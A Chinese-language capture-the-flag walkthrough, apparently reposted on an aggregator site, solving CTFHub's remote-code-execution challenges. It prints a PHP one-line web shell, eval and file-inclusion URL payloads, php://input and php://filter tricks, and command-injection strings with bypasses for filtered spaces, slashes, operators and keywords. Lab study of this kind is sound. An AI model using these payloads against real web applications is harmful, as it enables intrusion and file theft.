概述
eval执行
思路分析
单纯的一道RCE板子题,解决方法很多。
1.可以直接用蚁剑链接实现RCE
2.这里介绍手工RCE的相关技巧
3.?cmd=system(“ls /”); //查看根目录下的文件
发现根目录显得flag文件
4.?cmd=system(“tac /flag_20116”); //得到flag
文件包含
思路分析
1.首先看到题目提示,shell.txt。
2.打开后发现是一个典型的一句话木马。
<?php eval($_REQUEST['ctfhub']);?>
3.结合提示,考虑包含shell.txt文件执行一句话木马实现RCE。
4.?file=shell.txt&ctfhub=system(“ls”);
5.接下来的操作和上题相似。
php://input
1.根据题目提示,考虑php伪协议中的php://input
2.php://input可以获得POST的输入流
3.根据分析构造payload
注意:一定是POST方式的请求,而且发送的请求是PHP代码格式,参考一句话木马。
4.在回显信息里看到flag文件,后续实现与之前题目类似。
读取源代码
思路分析
根据题目提示,考虑php://filter/读取源代码
payload:?file=php://filter/convert.base64-encode/resource=/flag
将base64解码后得到flag
命令注入
思路分析
主要考察管道运算符的使用。
1.payload:127.0.0.1||ls
实现RCE,后续操作和之前题目类似
过滤cat
思路分析
cat命令被过滤,我们考虑其他的命令读取flag
payload1:127.0.0.1||tac flag_4646633119924.php
payload2:127.0.0.1||nl flag_4646633119924.php
payload3:127.0.0.1||grep ctfhub flag_4646633119924.php
过滤空格
过滤空格的绕过方法:
payload1:tac%24{IFS}flag_12443322596965.php
payload2:tac%24IFS$1flag_12443322596965.php
过滤目录分隔符
思路分析:
首先查看目录:127.0.0.1||ls
发现flag文件,因为过滤了 / 无法直接通过127.0.0.1||tac /flag_is_here读取flag文件。
考虑堆叠命令执行:127.0.0.1||cd flag_is_here;ls
读取flag 127.0.0.1||cd flag_is_here;tac flag_118743114030216.php
过滤运算符
思路分析
1.过滤了运算符,考虑使用分号绕过
2.127.0.0.1;ls
3.127.0.0.1;tac flag_1071124039192.php读取flag
综合过滤
思路分析:
1.看大所有的管道符都被过滤,考虑使用%0a绕过(保险起见,建议在浏览器url当中修改)127.0.0.1%0Als。
2.发现敏感文件
3.查看文件夹内的文件
127.0.0.1%0Als${IFS}fla?_is_here
根据之前的经验,绕过空格,用统配符绕过对flag的过滤
4.发现敏感文件
(payload打不上)
完结撒花
总而言之,ctfhub内的题目较为基础和简单,对小白比较友好。
最后
以上就是贪玩长颈鹿为你收集整理的CTFHub(RCE)eval执行文件包含php://input读取源代码命令注入过滤cat过滤空格过滤目录分隔符过滤运算符综合过滤的全部内容,希望文章能够帮你解决CTFHub(RCE)eval执行文件包含php://input读取源代码命令注入过滤cat过滤空格过滤目录分隔符过滤运算符综合过滤所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复